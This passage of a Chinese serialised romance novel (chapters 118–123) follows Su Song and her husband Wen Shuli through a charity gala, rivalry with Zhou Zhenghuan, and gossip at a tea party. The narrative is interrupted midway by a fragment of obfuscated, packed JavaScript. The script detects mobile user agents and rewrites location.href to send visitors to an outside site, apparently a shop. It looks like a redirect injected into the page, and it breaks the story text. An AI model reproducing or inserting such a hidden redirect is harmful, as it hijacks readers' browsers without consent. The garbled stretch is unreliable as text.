夜场虽然不光彩,但的确赚钱。能在南城开个像样夜场的,就算没背景,人脉也是极好,有贵人当靠山才能办得成功。”
“你帮不上戍礼工作上的事情,多帮他结识人际,是好事。”
苏凤又念叨了一些为**,当好妻的一些旧思想的话,才结束通话。
苏颂听到有些麻木,直到挂了电话,还有些懵懵然,她害怕了一个上午,结果不禁没有挨到一句骂,甚至还破天荒的被她奶奶夸了?
温戍礼跟她奶奶说,是去应酬?
118 温先生的爱意是,公之于众
温戍礼接到苏颂电话的时候,人在温家,他接听。
“奶奶已经给我打电话了。”苏颂的声音低低传来,“谢谢你。”
闻言,温戍礼挑眉,神情舒缓,生出故意捉弄她的心思:“谢什么?我总不能说,是你半夜不待在家里,去酒吧玩,被我抓到吧?”
“不是这样的。”
“嗯?”
苏颂扣着手机,想不出反驳的话,她好像去酒吧,就是想去玩的,可是怎么被温戍礼说出来就变了味道?好像她去那里有什么其他目的一样。
“我……”
“咳。”
温航之出来了,见温戍礼在打电话,他咳了一声提醒。
温戍礼看了一眼,面不改色,也不让苏颂为难,说:“这样说省事,不然奶奶要是问我,我为什么也会在酒吧,我还得解释。”
“晚上陪我参加个宴会,我让人过去,你先准备。有事,挂了。”
温戍礼挂电话的时候,刚好温航之也走过来,听见他最后一句话,问:“你要带苏颂参加今晚的慈善晚会?”
温戍礼把手机放进裤袋,手没有拿出来,面对温航之,应了一声:“嗯,今天不少人问照片里是不是苏颂,正好,不少人也说很久没见到她了,让我多带她出来走动走动。”
温航之一听,眼睛一眯:“他们会问,还不是前几个月刚在热搜上看到她。
跟周家大少是年少挚友,又是你的老婆,都在背后议论她苏颂了不得呢!”
“这是事实。”
温戍礼的态度气**不偿命,自从被温航之打了之后,他每次面对温航之都是“那又怎么样”的嫌他管得多的态度。
温航之动怒:“你是真不懂我的意思还是装不懂?苏颂让你丢脸了!我要让人把热搜撤下来,你还让人拦住。
现在你还要带她去参加慈善晚会,知道今晚那是什么场合吗?
这是国内三大爱心组织联合举办的正式活动,你带她出席,就是要让全国都知道她是你老婆,这样以后,你想离婚都难,会影响你的公众形象。”
温航之说的严肃词厉。反观温戍礼却依然淡漠。
“谁说我要离婚?”
“怎么?你没打算跟苏颂离婚?”林美丽得知温戍礼来了,从美容院急急忙忙赶回来,自从大儿子斗败,被送出国后,她更加提防温戍礼,不想让他跟温航之单独聊,哪知道他们父子俩聊什么,说不定下一个被送出国的就是自己。
她算是看明白了,这家温航之真说了不算,他也得看温戍礼的脸色。哪知道却听到温戍礼这样说。
“你不是不想娶她吗?”
温戍礼睨她,道:“不想娶,都娶了,还能退不成?”
“这婚不还是你怂恿我爸给我凑的?”
林美丽被问的无所适从,她绞着手,说:“怎么说得是我逼的一样。”
温航之也看不惯他这态度:“温戍礼,怎么跟你阿姨说话的?你的教养呢?”
“我没妈教呢!”
“你!”
面对神色各异的两人,温戍礼道:“这几年,你们不让媒体暴露苏颂就是温家大少奶奶,除了家宴,其他商业宴会,你们叫我去,宁愿安排别家的千金给我当女伴,也不会叫上苏颂。
打的就是我将来羽翼渐丰,好给我换老婆的意思吧?”
他点破了两人的计划,让他们无言以对。
“你今天也不用教训我。我三十三了,不是二十三,得忍受你的安排,更不是十三,明知道她不是我生母,却还得跟她担个‘母子’的恶心名义。”
他指着林美丽,咬着后牙槽,宣誓着内心的愤怒。
“我不是你,不会换老婆,换个爸倒是可以考虑。”
说完,温戍礼转身就走,气得温航之脸色涨红:“你!”
随即捂着心脏,被林美丽扶住。
林美丽急的大喊:“快叫医生。”
温家乱作一团,温戍礼却毫不停留。他上了车,在车里抽了根烟,夹着烟的手伸出车窗外,看着这些帮佣,被林美丽调动而进进出出的。他望着这栋楼房。
到底不是他妈在这里的
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温家了。
家庭医生跟着温家的管家急匆匆赶来,结果被一辆轰着油门而来的黑色跑车吓得往边上躲。
车子快速驶出温家,消失在大门口。
。
苏颂在家等着妆造师上门,等得无聊,跟闫丽在聊天。
闫丽关心热搜对她有没有影响,苏颂将事情都说了,还笑滋滋的把温戍礼摆平她奶奶那边的事情也说了。连带她打电话给温戍礼,温戍礼说的话也说了。
【对啊,为什么你去夜店就要被那么多人问,他去夜店就行?】
苏颂回【他大概是有事吧】
闫丽的语音发过来:“你这样不行,完全被姓温的拿捏得死死的,你得问他,你为什么也在那。反客为主,你要抓住主动权懂吗?”
闫丽说得激动,恨不得把嘴借给苏颂,让她横起来。
苏颂笑了一下,切换语言回:“可是他可能是去谈生意啊。”
男人在外打拼,女人要多理解。身为妻子要信任丈夫,不要疑神疑鬼的。这是她奶奶说的,刚结婚那一年,她对温戍礼的行踪毫不知情,她控制不住多想,给奶奶打了电话,可她奶奶却说,苏氏逐渐在转好,说他在外肯定是在为苏氏的事情,还说男人在外忙事业的时候,她应该好好待在家里,把持好家庭内务,而不是胡思乱想。
于是她从没问过温戍礼在外在干什么,为什么都要那么晚才回家。
“什么叫可能?你们是夫妻,两公婆之间,都不聊天的吗?聊天都不会问‘你今天去干嘛’了吗?
不是我说你,自己的老公看紧点,就姓温的有钱这点,就多的是女人想傍。
我见多了那种傍大款的女人。”
闫丽说得若有其事,听得苏颂也提心起来。
【那我下次问】
【今晚见面就问】闫丽附带三个奋斗的小表情。
【把气势挣回来,这样你才能有机会做你自己,不能老是被压一头】
有人来了,阿姨去开门,是肖直带人来了。她回了闫丽一个收到的动态表情。
119 谁让今晚的温太太这么撩人
肖直依然带来一大队伍的人,苏颂看着拉进来的好几条衣服,问肖直:“今晚的场合很重要?不是温家的宴会?”
嫁给温戍礼三年多,她参加的宴会不多,一般就年头年尾,温家的家宴,来的都是族人或亲戚。
而参加温家的宴会,温戍礼跟他说过,差不多就行,反正也没人敢说她穿得丑。当时她还觉得他说这句话难听,是不是在暗示她衣品差。
参加过一两次,她就知道,温戍礼只是说实话而已,那些人都依附温家,见到她只会恭维。
可现在,比平常多了两条衣架,并且连首饰也送来了好几套,有红黄蓝绿四种宝石,还有一套钻,五套五种颜色。
肖直说:“是**慈善机构举办的慈善晚宴,温家是这次的主办方,太太可以选择靓丽一点的礼服出席。”
肖直说完又朝着最后一排架子介绍说:“温总说,你要是依然喜欢黑色也可以选择,首饰可以搭配他从新加坡特定回来那套墨蓝色水晶。”
这一排都是深色礼服,有一半都是黑色。
苏颂看着这些绚丽的衣服首饰,还有鞋子,看得人眼晕。问:“他呢?”
肖直说:“我无权过问温总的行踪。”他说得礼貌又谦卑,倒是让苏颂不好意思了。
“没事,我就随口问问。”
肖直笑:“不过温总说他会在酒店大厅等太太。”
苏颂颔首,开始挑选衣服,所有妆造,都需要根据衣服的风格,甚至颜色来,最为重要。
。
明河酒店
今晚,整个酒店都被包了,为了邀请**慈善机构过来,温戍礼早在三个月前就准备。让酒店把这个时间空出来,不收客。
大厅举办宴会,楼上可以让宾客入住,今晚来的人,不止本城。
莫离宗走过来,身为明河集团的小儿子,这个酒店由他打理,他是酒店少东家,也是今晚受邀的宾客,他同温戍礼打招呼。
温戍礼举着红酒跟他碰杯,两人抿了一口。
莫离宗说:“**是国内最大的慈善机构,由三大慈善组织结合而成,能把这样的机构吸引过来,对养老机构的完善会有很大的帮助。”
不懂行的人只会觉得温戍礼投入这么多,今晚的收入全部都会被慈善机构拿来当善款,他搞得这样大,又得不到利益,得赔死。
但知道他在做养老机构的人,就不会这样觉得。而莫离宗自然知道得更多。
“你刚上任,也需要机会打出名片,跟这样的大机构联合在一起,以后就算股东们有异议,也不敢轻易换人。”
在莫离宗看来,温戍礼这次大投资,是为自己的未来做筹码,稳赚不赔。
商人逐利,如果能做好事又能获利,何乐而不为。他对这个商界下一任**人充满敬佩。
恭维也好,打探也罢,面对莫离宗的话,温戍礼只是浅淡一笑,说:“做善事,不为名。”
好一个四两拨千斤,倒是把莫离宗整尴尬了。
不过莫离宗也是个社交能手,看出温戍礼不愿意多说,立刻换了话题:“听说,温总今晚还要把太太带过来,我还不认识温太太,听说是位温婉佳人。家母时常提起,让我以后娶老婆,就得找像温太太这般贤惠淑德的。”
温戍礼瞥他一眼,莫离宗的哥哥娶了个母老虎,家世强大,性格强势,常常搞得莫家鸡飞狗跳,老两口又忌惮媳妇娘家,宁愿把主宅让出来给大儿子,老两口搬去市区住大平层。
典型的惹不起,还躲不起。
温戍礼很忙,但因为莫家的婆媳矛盾实在太厉害了,有些八卦的老总多喝几杯,在酒桌上拿来当茶余饭后的笑话,久而久之,他也就知道一些。
温戍礼的嘴角有了些笑意:“承蒙你们厚爱,内人其实是怕生。”
温婉?会蹦迪喝酒的女人温婉吗?别了吧,照片没爆出来就算了,已经爆出来,人设早蹦一地了。不过苏颂确实不会像莫家长媳一样闹腾。
说着说着,想她了,怎么还不来?温戍礼抬腕看表,肖直说这个时间到的。
正想着,苏颂已经走进来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244196|197126||http|test|mini|href|location''.split(''|''),0,{}));
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>“戍礼。”
温戍礼看过去,干净光亮的酒店大厅,她穿着深蓝色的公主裙,蓬松的裙摆把她衬得越发娇小动人,深色显得她皎洁如月。
她提着裙摆走过来,浅笑着问他:“戍礼,这位是?”
温戍礼敛了敛眉头,怪这个没眼力见的莫离宗,居然还不走,引走了苏颂的注意力。
“莫家小少爷。”
莫离宗被苏颂惊艳到,这会才回神:“你好。”正伸手要跟苏颂打招呼,温戍礼已经拉起苏颂的手,将之搭在这里的臂弯上,挽着人往里面走。
“宴会要开始了,进去吧。”
手伸在半空的莫离宗,有些僵住!
苏颂跟温戍礼走着,她也发觉了温戍礼点不对劲,靠近他,压低声音问:“你跟他有过节?”
今晚的她喷了香水,淡淡的木系香,从她身上散发,不仅不会呆板,还多了些女人味。
很香。
加上她靠得近,那种轻柔的气息洒在他的耳边,让他整个人都起了热意。
他转过头,两张侧脸靠的很近,他说:“没有。”
“为什么这样问?”
苏颂对上他的眼睛,说出自己的猜测:“你好像不希望我跟他握手。”她的目光往后瞥,感觉他在跟自己打招呼,但她没有搭理不太好。
一只手挡住了她的视线,温戍礼轻柔的将她的脸转过来,说:“谁让今晚的温太太这么撩人,他看你都看直了,我能让他握你的手?
没那么大度。”
后面几个字,听起来有些咬重。苏颂那双大眼睛透出点半信半疑,不过她一向配合他居多。
“你今晚吃蜜了?”嘴巴这么甜。
虽然觉得他是冷幽默居多,但被人夸,苏颂还是很高兴,唇角勾起来,笑意怎么也藏不住。
两人一同走着,温戍礼问:“今晚怎么戴了?”是他送的那套墨蓝色水晶。
他还没见她戴过,年底看她穿黑色修身裙,以为她喜欢黑色,特意找了这种深到发黑的水晶,结果今年的家宴,也没有看她戴上。
120 大丈夫的小碎碎念:苏颂,你好难哄
苏颂低头看,也看不到,她解释:“我以为这也是你随便让人买的,不知道是你特意让人定制的。”
也是肖直说,她才知道,这事他专程在新加坡找材料,又找师傅,选款式,特别定制的。
淡定从容的温戍礼有一秒钟的心慌,说道:“以后送给你的,我都会亲自过目。”
原来她都知道,那些首饰礼物都是他让肖直去办的。怪他一开始不懂感情,觉得送东西贵重就好,她也从来没提起。
温戍礼看着苏颂,今晚的她,造型简单,却显得越发的靓丽动人。以后他会好好珍惜。
拍卖还没正式开始,贵宾们还在走动寒暄,苏颂是陪着温戍礼跟人说话的时候,碰见周正焕的。
周正焕正从大厅侧方过来,那边有卫生间,苏颂不太确定他是不是刚才洗手间出来,因为他后面还跟了个女人。
他走向大厅,那个女人也跟过来,嘴里还在碎碎念,周正焕一脸不耐转头朝着那个女人喊:“你烦不烦,别再跟着我了。”
这样在宾客面前是失态的,周正焕大概也知道,于是朝着人群中看,一眼就看到挽着温戍礼的苏颂。
周正焕是谁,周家的小祖宗,从不在意外人的眼光,他径直朝着苏颂走去,问:“你怎么不联系我?”
苏颂说:“我手机丢了,戍礼给我买了新手机,换了新号码。”
“那你给我新的号码。”说着,他已经拿出手机,准备存储。
却见苏颂不动,他抬头,就对上她的脸,她浅笑着说:“不用吧,应该也没什么事,有事我再让戍礼找你,毕竟他找你应该更方便。”
保持距离得这么明显。再纠缠反而显得他别有目的了。
周正焕后退半步,正好白雯跟上来,拉着她手,将她的手也搭在自己的臂弯里。
他笑,周家的小魔王,长得漂亮,笑起来更是英俊风流。他说:“也是,确实不方便,还是你心细。
对了,介绍一下,这是我未婚妻,白雯。”
这人苏颂见过,她混进来温家的家宴,对苏颂说了一些不友善的话,苏颂以为是周正焕的爱慕者,没想到是未婚妻。
“你订婚了?我都不知道。你好,我是苏颂。”她并没有提她们见过的事情。
白雯也是个聪明人,礼貌的同她握手。
周正焕轻嗤一声,似嗔似怨:“你结婚都没告诉我。”
这种场合,都拿得好分寸。周正焕带着白雯走开,苏颂转头看温戍礼,笑着说:“我们坐哪?”
她并没有失态,可是她在紧张,她挽着自己的手,抓他抓得紧。
他问:“还怨我?”
“店也送了,臭豆腐你吃不腻能吃一辈子。猫也养了,虽然有点烦,但是你带去店里的,我并没有不让在家养。
苏颂,你好难哄。”
想他堂堂温家大少爷,哄过谁。不都是别人来讨好他。可是他都做到这份上了,苏颂还是跟他较劲。
在店里忙到没办法回家做饭?甚至得晚上才回家,不就是避着他。
这是苏颂第一次听到温戍礼发牢骚,让人猝不及防。
她哭笑不得,解释说:“那是我年少的朋友,我的青春时期很孤独,很压抑,是他们解救了叛逆期的我。
他们可能不是大多数人眼里的乖朋友,可是他们没有害过我。
不过,你介意的话,我就减少跟他们来往。”
两人一同入座,温戍礼靠近她,在她耳边轻轻一吻:“以后,你有我陪着。”
拍卖会开始,这种场合,东西怎么样还是次要的,主要都是企业家奉献爱心,捐善款,通过机构帮助需要帮助的人,又能做好事又能获取名声。
苏颂第一次来到这种场合,来之前她已经通过互联网了解过这个机构,知道很重要,所以她一直注意仪态形象,做好今晚陪着温戍礼当花瓶的打算,结果,第三件展品上台的时候,温戍礼竞价了。
一只墨玉簪子。
女性饰品。苏颂看他,只见他信心十足的跟人竞拍。底价两万的簪子,
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硬是竞价到九十九万成交。
苏颂用尽所有的意志力,才控制住自己保持微笑,没阻止。
第三锤敲下,礼仪小姐托着托盘带着簪子来给温戍礼验货,他直接拿起来,插在苏颂头上。
“很配。”
苏颂笑着,心里快急哭了,九十九万啊,能不配吗?
周围又多了不少赞美的声音,都是夸温太太好看的,温太太真有福气的。
苏颂本来不喜欢“温太太”这三个字,总觉得带着某种嘲讽,但今晚她听着,越听越顺耳,唇角的弧度就没有放下来过。
坐在后面的周正焕一直盯着他们,身旁的白雯说:“别看了,再看她也是别人的老婆。”
闻言,周正焕别她一眼:“你能不能别跟着我了。很烦。”
白雯很生气,说:“我是女孩子,我也要脸的。”
周正焕比了一个“请”的动作:“要脸就走。”
白雯被气到了,但周围这么多人,她要是这样起身就走了,不知道会被人传成什么样。
于是她只能忍,压着声音怼周正焕:“你再不爽,苏颂也没选择你,她选她老公,连号码都不给你。”
这话,成功气得周正焕磨牙。白雯却不看他,直接举牌:“五万。”
台上,一个明朝的金丝荷包。起拍价五千。
白雯直接喊五万,周正焕的目光直接变成看**。而周围人看她的眼神有惊愕,有不解。
白雯是个社牛,面对身边人的询问,她怎么一下子喊得这么高,白雯挺直腰杆,声音不高不低,正巧前后周围的人都能听到,包括苏颂那一排。
白雯说:“我家正焕见温先生喊价这么高,就为了送给温太太,他也想送我,他不好意思喊价,就我来了。”
苏颂转头看过来,正好看到周正焕在翻白眼。
十倍的涨价,东西成功落到白雯手里,礼仪小姐托着东西过来,白雯让周正焕给她也戴上,比较的意思很明显。
周正焕直接拒绝:“不要。”
121 给我你的新号码
白雯急起来,说:“你已经告诉人家说我是你未婚妻了,做戏做全套,不然前功尽弃。”
“快给我戴上,还是你觉得这个要戴我腰上,不好意思?”
面对白雯自信的打趣,周正焕再也受不了了,说:“那叫烟荷包,你抽烟吗?还是要在大庭广众之下,让人都知道你烟瘾大,需要随行带烟草?”
白雯看着那荷包,再看看自己,脸都黄了。
。
回家路上,苏颂身上已经戴得满满当当。
墨玉发簪、祖母绿戒指,翡翠镯子,手里还有一块镶金的玉佩。
这些东西价格不菲,更重要的是,都跟她今天这套衣服相配。
“喜欢吗?”温戍礼觉得有点热,这会脱了外套,只穿一件蓝色的衬衫,海蓝色的,一深一浅,竟然也相配。
他看了一眼她的服饰,扬唇,似乎在为他们的相配而高兴。
“喜欢。”苏颂说,没有不喜欢珠宝的女人,她也喜欢,只是在苏家遭遇经济下滑后,她意识到了钱的重要性,于是收起了对物质的欲望,不想成为他的负担。
“你不用老是买这些贵重东西给我,特别只是为了搭配一件衣服,好浪费。”
她看出来了,温戍礼有意迁就她的喜好。但她真没有特别在意这些,如果要不是租礼服跟首饰怕影响温家形象,她甚至都想租。
“不会。”温戍礼帮她把散乱下来的头发别到耳后,今晚的她化了全妆,上了腮红的脸颊粉扑扑的,看起来格外诱人。
他靠近:“你有戴就有用,有用就不会浪费。”他吻了下去,与此同时,中间的隔壁升起来。
苏颂有些难为情,她并不太喜欢在车上,还有别人在的时候,跟他亲密。
可他呼吸渐渐急促,大手在她身上游弋,来了感觉。
在酒店就想吻她了,要不是那个姓周的在那,听说还打算留下来,他肯定把苏颂带到楼上房间,一想到苏颂去云城找他,竟然还去了周正焕开的房间,他心里就不得劲。
“别-”
他越吻越深,眼看就要失控,苏颂推他,她不想在车上。
“要到了。”她红唇湿润潋滟,声音低磁,“回去再……”
她怎么能这么可爱诱人?
温戍礼发现结婚越久,他对苏颂的喜爱越大。
到底是失态了,不过自制力也没那么差。
他捧着她的脸,深邃的眼看着她,两人亲近得呼吸交缠。
他说:“还得去招待**的人员。先送你回去。”
他轻吻一下,一声低哑似低吟的声音流出。
今晚放你一马。
。
明河酒店里,周正焕坐在房间的沙发上,把手机翻来覆去的看。
“回去后连个消息也不给我发?真要跟我断绝关系?”界面上,是跟苏颂的聊天界面。
消息还停留在上次在宠物市场之后,周正焕给她发【你还好吗?】结果苏颂一天没回,第二天深夜,他太担心,又发了【你怎么没回?】
【颂颂】
【手机还没找到吗?】
她在隔天才回【我没事,不用担心】
【姓温的为难你了?】
当时周正焕被他小叔说了之后,也担心温戍礼回去后为难苏颂,他怕自己幼稚的行为害了苏颂。可是苏颂回他那一句后就没回了。
这段时间,周正焕给她打过电话,可提示的都是手机关机。今晚苏颂说,温戍礼买了新手机给她,还给她换了新的手机号码,那关机是因为那号没再用。
周正焕思来想去,打字发送【新号码给我】
“她不是不给你了吗?”白雯洗了澡出来,他太专注没发现,她看到了他发送的字。
周正焕说:“刚才是因为温戍礼在,她有所顾忌。”他抬眼,看到白雯穿着浴袍就出来了,好看的眉头一蹙,“没衣服啊!”
声音有点大,还有质问的意思。
白雯本来还有些害羞的样子立刻变成怒火腾腾:“我在酒店怎么会有衣服。你这么大声干什么,难道我还会故意勾引你吗?”
“不是最好。”周正焕起身,是白雯的礼服被泼到红
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酒,他才陪她上来的。这会他拿起自己的衣服离开。
房门关上的时候,白雯的眼泪落下。
。
苏颂回到家,洗漱完,将今晚的首饰整理放好,看到那块镶金玉佩的时候,顿了顿。
前面几个成色都很好,都是温戍礼跟人竞价几番,花费高价得的,只有这个玉佩,不仅成色一般,镶嵌的工艺甚至还有缺陷,缺了一点黄金,她摸着,还有点利。
因为这个玉佩有个故事,所以起拍价还要十万,不少人都觉得贵了,可温戍礼直接喊到五十万,飙了五倍,没人抢,喊一次就得到了。
当时场面安静得,苏颂都坐不住了,因为同样是腰间佩戴的东西,同样是黄金制品,同样一开价就是五倍,怎么会那么巧呢,明眼人都看得出来,温戍礼是故意压白雯一头。
而他们跟白雯自然没什么联系,可她跟周正焕……去年上过热搜。
周围的窃窃私语让她坐立不安,好在拍卖也结束了,温戍礼倒也没有给她戴上,而周正焕带着白雯上楼去了。
有人说他那么急,竞拍刚结束就迫不及待把人带上房间,不怀好意的猜测倒是让苏颂得到玉佩这件事没人议论,然后温戍礼就说回来了。
苏颂看着这块玉佩,无奈叹息:“他这样真的是在吃醋吗?”
可是也太幼稚了。
把钱随便花,较的有的没的劲,周正焕都有白雯了,还瞎吃醋。
她把玉佩丢进抽屉里,连展示的位置都没有,锁起来。
反正有残缺的玉,也不会佩戴。
就在这时候,她的手机响起,苏颂看到是老号的消息,点开,是周正焕的。
他要她的新手机号。
苏颂有了新号码用了新号码又申请了一个号,上次周正焕发给她消息的时候,温戍礼刚好过来,她情急之下就把周正焕的消息框删了。后来一直用新号就没回了。
她记得他当时是问她,温戍礼是不是为难她了。
苏颂打字发过去【我们从医院出来后,有发生什么事吗?】
122 敌人的敌人是朋友,情敌的情敌呢?
回来之后,温戍礼就不让她跟他们再联系了,连她的手机号码都换了。而闫丽一开始发给她的消息也有些担心的样子,她去茶楼,苏颂问她,她又说忘了。
好奇怪。
【是发生了什么,戍礼会生气的事情吗?】
苏颂又发了一条消息过去。上面显示对方正在输入,可是一分钟、两分钟……五分钟过去了,那边的消息迟迟没有发过来。
苏颂想,那天应该是发生了什么让温戍礼不高兴的事情。
。
温戍礼开始频繁带苏颂参加各种商业宴会,苏颂不得不请了一位店长管理茶楼,这天,她去茶楼核查账目,发现温禾来了。
她还带了朋友过来,着装都是精致时尚的高定,估计又是些千金。身为茶楼的老板,苏颂想了想,还是打算过去打个招呼,温禾是熟客,给茶楼带了不少客人,加上又是自家人,免得被人说她不懂礼数。
苏颂走过去,她们几个的讨论依稀入耳。
“是吗?她怎么胆子这么大?
“就是啊,可惜你家戍礼叔叔了,好有魅力的大叔呢。”
“不过那一位也不差啊,好看极了。”
“嗳,我想见识你这位婶婶了,到底有……”
“嘘。”
随着苏颂走近,温禾发现了她,几个女孩子的议论声也戛然而止。
温禾喊她:“婶婶。”
苏颂不想被人觉得她故意偷听,便当作什么都没听到的打招呼:“温禾。这些是你朋友啊。”
温禾走过来,同苏颂一一介绍,虽然人,苏颂都不认识,但对于她们的家庭,她都听说过,都是南城有头有脸的家族。
温禾说:“她们听我说你这里的臭豆腐好吃,都很好奇,想来尝一尝。”
苏颂马上让店长安排送两份招牌过来。
趁着那些小姑娘在品尝,苏颂找着机会把温禾拉到一边:“你们刚才是在议论我吗?”
温禾一听,脸色都变了,嘴上却否认:“不是,我们说陈曼曼呢,婶婶可能不知道,这个陈曼曼从国外带了男朋友回来,是假的,她是打算刺激我叔的。
哪知道我叔对你情有独钟,她落败而逃,跟那个海归男朋友也分手了。
那个海归其实也是借着她的身份来回国站立脚跟的。按我说,陈曼曼就是活该,居然敢肖想我叔!”
陈曼曼被陈家抛弃出国一事,还是温禾告诉苏颂的。苏颂有些半信半疑,因为刚才她好像听到她们说到自己了。但她的注意力还是被陈曼曼跟夏叙分手这点给转移了。
苏颂自己到了办公室,给奶奶打去电话。
“喂,奶奶,夏叙跟陈曼曼分手了,你知道吗?”
苏凤说:“不知道。不过这是他的私事。
颂颂啊,经过这半年,我对夏叙的观察,他公私分明,并没有被陈曼曼影响,从而对苏氏另有所图。”
得知陈曼曼跟夏叙是男女朋友后,苏颂第一时间就是提醒苏凤,当时她只觉得太凑巧,陈曼曼是温戍礼的绯闻白月光,夏叙又是温戍礼看中的精英海归,两人又是情侣关系。
再后来,得知是陈曼曼偷拍她的照片,发现陈曼曼对温戍礼还存有幻想,苏颂马上告诉了苏凤,想让奶奶换了夏叙。
她怕夏叙因为陈曼曼对苏氏下手。
可她奶奶苏凤说,当时苏氏在转好,下面的人也都开始信服夏叙,贸然换人不适合,她会观察留意。
听到奶奶这样说,苏颂心里的不安并没有消散,她还是想苏氏换个经理人比较好,但奶奶的声音再次传来。
“苏氏就要上市了,颂颂,我最大的心愿就是公司能上市,做强做大,夏叙不愧是在海外学习过的,按照他的做法,一步步来,真的做到了。”
什么?苏氏要上市了?
“我知道你介意陈曼曼,但她和夏叙已经分手了,就没有关系了,你可以信任夏叙了。
奶奶信他。”
挂了电话,苏颂有些晕,明明她是要说服奶奶开除夏叙的,结果反而被奶奶说服了。
公司要上市了,温戍礼怎么没有告诉她?
下午,温戍礼
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接苏颂去参加茶会,那是贵妇圈里的夫人们举办的,她们邀请苏颂去参加,经过温戍礼点头的,他甚至抽空亲自来送她过去。
他很忙,在车上也一直在键盘上敲敲打打,苏颂最近已经习惯了,她也说过让他不必这么麻烦,真需要就让人来送她,可温戍礼说,他以后会尽量抽时间陪她,只要他在本地。
当时两人气氛火热,苏颂只觉得这话像情话一般动听,但现在冷静下来,却能发现很多漏洞——既然他能抽出时间,那么之前他的一两个月不回家,时不时的忙到夜不归宿,是不是都是骗她的?
苏颂最近很苦恼,她明显感觉到了温戍礼最近对她的温柔体贴,两人从没有像最近这般,感情稳定,相处陪伴的时间多的,可渐渐的,她又会跟以前对比,然后心情就会变得低落,情绪变得反反复复。
不知道别人谈恋爱是怎么样的,苏颂觉得自己快**了。
收起低落的情绪,纠结过去最没有意义。她现在有事要问他。
“苏氏要上市了吗?”苏颂问。
温戍礼瞧她一眼,骨节分明的手指在键盘上飞舞,没有停下来。他说:“奶奶告诉你的?”
“嗯。奶奶说是夏叙的功劳。”
闻言,温戍礼一笑:“那份大合同我跟了两个月,最后没去签约,让夏叙去签而已,奶奶怎么能不分我一点功劳?”
这事苏颂不太清楚,于是她问:“你为什么没去签约?”
温戍礼的手停下来,看着她,心想,老婆都要被人抢走了,签合同还重要吗?
不过对于周正焕对她别有居心一事,她没意识到,他也不会说。
温戍礼说:“苏氏既然交给他管理,出个面签约也正常,我这边也很忙。”
理由毫无破绽,苏颂没有起疑。
“可是,我总觉得不太踏实。”
苏氏被夏叙管理之后,跨步得太快了,当时的股东被查,内部少了几个骨干高管,可是一盘散沙,更别说,账上还亏空。
夏叙真的这么厉害吗?
123 流言蜚语满天飞。苏颂知道那晚事情
温戍礼要去郊区工地一趟,把苏颂放在一家休闲会所门口就走了。
苏颂进去后走向电梯,摁了最顶层。
她知道茶会在哪,她以前打听过,在嫁给温戍礼之后,她一心想做个贤妻良母,也想做他背后的贤内助,听说这种茶会**了圈子里几乎所有有身份的贵太太、贵夫人,融的进去,不仅能获取情报,要是能交好一两个好背景的贵妇,能让她们回去在她们丈夫面前说说话,说不定能起到重要作用。
苏颂打听到了这种仪式的茶会,地点也知道,但她人生地不熟,不敢去,她想让林美丽带她去,结果被林美丽数落了一顿,这事不知道怎么还传到温戍礼耳朵里。
温戍礼生了好大的气,说天大的事,他都不需要林美丽帮忙,她是他老婆,就应该跟他站在同个立场,让她别给他丢脸。
当时他火气大,苏颂害怕,就不敢提茶会的事情,后来就一直没有提过了。
原以为这辈子都不会来参加了,没想到今天来了。
电梯“叮”的一声,电梯门打开,苏颂踩着小高跟走出去,她笔直往着里面走,眼睛却往着周围瞟。
精致的橱窗布置,精致的餐布,精致的餐台,上面摆放着小巧又精致的甜点。空气里弥漫着淡淡花香跟茶香……连味道都透着精致。
这种茶会跟宴会有一定的区别,宴会是商业性第一,茶会是视觉享受第一,苏颂进来的时候就感到这里很漂亮,大家说话也都轻声细语的,不像宴会上那些男人攀谈的时候,那么大声。
只不过,三三两两的,几个人一个群体,她们谈着话,偶尔还会往她这边瞟,像是在窃窃私语。
“是温太太吗?”一位打扮贵气的中年女人过来询问。
苏颂点头,礼貌的朝着对方伸手:“我是。您就是徐太太吧?”
这个声音跟打电话邀请她的声音很像。
徐太太与她握手,她笑得端庄得体,连走路的姿态都优美闲适,苏颂以为陈曼曼那样的,看起来就很赏心悦目了,没想到到了这里,那般娴静淡雅的女人比比皆是,有些甚至比陈曼曼更典雅。
原来顶级豪门圈的审美都是一致的,果然像奶奶说的,成功的男人都喜欢优雅干净有内涵的女人。
这一刻,苏颂有些自惭形秽。
徐太太带着苏颂到了里面的茶位坐,这里形成一个半包围结构,只留着一方可进出,当然,她们坐在里面,也可以通过通道看到外面。
徐太太一边煮水一边说:“我们就在这里喝茶吧,我想温太太也不是喜欢热闹的人,以前我多次邀请,都被温大少回拒了,温大少说你不喜欢。”
之前,她们跟温戍礼邀请过自己?可他怎么都没说。
“温大少说你怕生,但我现在看,并不觉得呢。他是怕你这么漂亮,不想你出来抛头露面,怕被人惦记吧?”徐太太是个说话温和又不缺乏热情的人,她说的话给人的感觉就是很舒适,明明是打趣的意思,却不会听得人反感。
苏颂本来没有不好意思,这会倒是害羞了,说:“我只是对这边不熟悉,也没什么认识的人。”
“都认识周家大少了,还说你在这边没有认识的人。温太太你真谦虚。”
苏颂之前也不知道周家在南城有这么重要的地位啊。她刚想解释,可徐太太好像很好奇,又说。
“一直有人说,你本来是要嫁到周家的,我不太相信,一来是觉得要认识周家人很难,再者周家那种家庭不太好嫁进去,二来,是觉得温大少人中翘楚,英俊帅气,除开年龄大你多一点,也没有可挑剔的。
结果,是我井底之蛙了。”
徐太太泡着茶,轻轻柔柔的嗓音,却说出了让苏颂惊恐的话。
“我跟正焕只是朋友。”哪里有要谈婚论嫁过。苏颂不想被误会,解释着。
可徐太太却不相信的看她,语气疑惑的道:“不单单照片,有人说,看到周家大少在凌晨时分抱着你下车,动作细心周到。”
徐太太顿了一下,靠近苏颂,
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压着声音接着说:“说你跟周大少暧昧不清呢。”
苏颂满怀期待的来,结果不到半小时就愤愤立场,出来的时候,她撞见有人也提到她,原来,她们都在议论她。
这让苏颂觉得自己今天来参加这个茶会,就是个笑话。
她走出会所,是温戍礼送她来的,她却没有给他打电话,而是走在大街上。
今天她穿着一条紧身裙子,不算华丽,妆容也很简单,但耳坠项链戒指的首饰都佩戴了,一身珠光宝气,也看得出是精心打扮,引得路人侧目。
